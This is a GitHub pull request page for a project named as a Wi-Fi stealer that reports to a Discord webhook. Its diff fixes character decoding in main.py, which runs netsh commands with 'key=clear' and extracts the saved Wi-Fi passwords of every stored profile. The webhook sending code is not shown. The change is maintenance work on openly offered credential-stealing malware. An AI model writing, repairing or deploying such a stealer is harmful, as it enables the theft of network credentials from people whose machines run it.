Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix UnicodeDecodeError in subprocess output decoding by handling non-UTF-8 characters #3

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
.idea
3 changes: 3 additions & 0 deletions .idea/.gitignore

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 8 additions & 0 deletions .idea/Wifi-stealer-with-Discord-webhook.iml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 6 additions & 0 deletions .idea/inspectionProfiles/profiles_settings.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

7 changes: 7 additions & 0 deletions .idea/misc.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 8 additions & 0 deletions .idea/modules.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

6 changes: 6 additions & 0 deletions .idea/vcs.xml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

14 changes: 9 additions & 5 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@
from colorama import Fore, Back, Style
from colorama import init
from termcolor import colored

colorama.init(autoreset=True)

# ---------- Title of the project // Bar to beautify the UI ----------
Expand All @@ -40,7 +41,7 @@

# ---------- Commands to find out the Wlan passwords and connections ----------

command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode()
command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode()

profile_names = (re.findall("All User Profile : (.*)\r", command_output))

Expand All @@ -51,17 +52,21 @@

wifi_profile = {}

profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode()
profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output=True).stdout.decode(
'windows-1252')

if re.search("Security key : Absent", profile_info):
continue
else:

wifi_profile["Wifi"] = name

profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode()
profile_info_pass = subprocess.run(
["netsh", "wlan", "show", "profile", name, "key=clear"],
capture_output=True
).stdout.decode(errors='ignore')

# ---------- Convert the output to a variable ----------
# ---------- Convert the output to a variable ----------

password = re.search("Key Content : (.*)\r", profile_info_pass)

Expand Down Expand Up @@ -97,4 +102,3 @@
""")
input("""
""")